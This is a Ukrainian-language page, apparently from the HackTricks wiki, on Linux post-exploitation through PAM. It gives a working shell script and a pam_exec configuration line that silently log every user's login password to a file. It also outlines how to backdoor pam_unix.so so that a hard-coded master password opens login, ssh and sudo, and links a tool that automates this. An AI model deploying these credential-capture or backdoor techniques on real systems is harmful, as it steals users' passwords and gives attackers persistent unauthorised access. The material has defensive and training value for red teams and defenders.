Linux Post-Exploitation

Reading time: 3 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Перехоплення паролів для входу з PAM

Давайте налаштуємо модуль PAM для запису кожного пароля, який використовує користувач для входу. Якщо ви не знаєте, що таке PAM, перегляньте:

PAM - Pluggable Authentication Modules

Для отримання додаткової інформації перегляньте оригінальний пост. Це лише короткий виклад:

Огляд техніки: Плагінові модулі аутентифікації (PAM) пропонують гнучкість у керуванні аутентифікацією на системах на базі Unix. Вони можуть підвищити безпеку, налаштовуючи процеси входу, але також можуть становити ризики у разі неправильного використання. Цей короткий виклад описує техніку захоплення облікових даних для входу за допомогою PAM, а також стратегії пом'якшення.

Захоплення облікових даних:

  • Скрипт bash під назвою toomanysecrets.sh створено для запису спроб входу, захоплюючи дату, ім'я користувача ($PAM_USER), пароль (через stdin) та IP-адресу віддаленого хоста ($PAM_RHOST) у /var/log/toomanysecrets.log.
  • Скрипт робиться виконуваним і інтегрується в конфігурацію PAM (common-auth) за допомогою модуля pam_exec.so з параметрами для тихого виконання та відкриття токена аутентифікації для скрипта.
  • Цей підхід демонструє, як скомпрометований Linux-хост може бути використаний для тихого запису облікових даних.
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Для отримання додаткової інформації перегляньте оригінальний пост. Це лише резюме:

Pluggable Authentication Module (PAM) - це система, що використовується в Linux для аутентифікації користувачів. Вона працює на трьох основних концепціях: ім'я користувача, пароль та послуга. Файли конфігурації для кожної служби розташовані в каталозі /etc/pam.d/, де спільні бібліотеки обробляють аутентифікацію.

Мета: Модифікувати PAM, щоб дозволити аутентифікацію з певним паролем, обходячи фактичний пароль користувача. Це особливо зосереджено на спільній бібліотеці pam_unix.so, яка використовується файлом common-auth, що включається майже всіма службами для перевірки паролів.

Кроки для модифікації pam_unix.so:

  1. Знайдіть директиву аутентифікації у файлі common-auth:
  • Рядок, відповідальний за перевірку пароля користувача, викликає pam_unix.so.
  1. Модифікуйте вихідний код:
  • Додайте умовний оператор у вихідний файл pam_unix_auth.c, який надає доступ, якщо використовується заздалегідь визначений пароль, в іншому випадку продовжує звичайний процес аутентифікації.
  1. Перекомпілюйте та замініть модифіковану бібліотеку pam_unix.so у відповідному каталозі.
  2. Тестування:
  • Доступ надається через різні служби (вхід, ssh, sudo, su, захисник екрану) з заздалегідь визначеним паролем, тоді як звичайні процеси аутентифікації залишаються незмінними.

note

Ви можете автоматизувати цей процес за допомогою https://github.com/zephrax/linux-pam-backdoor

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks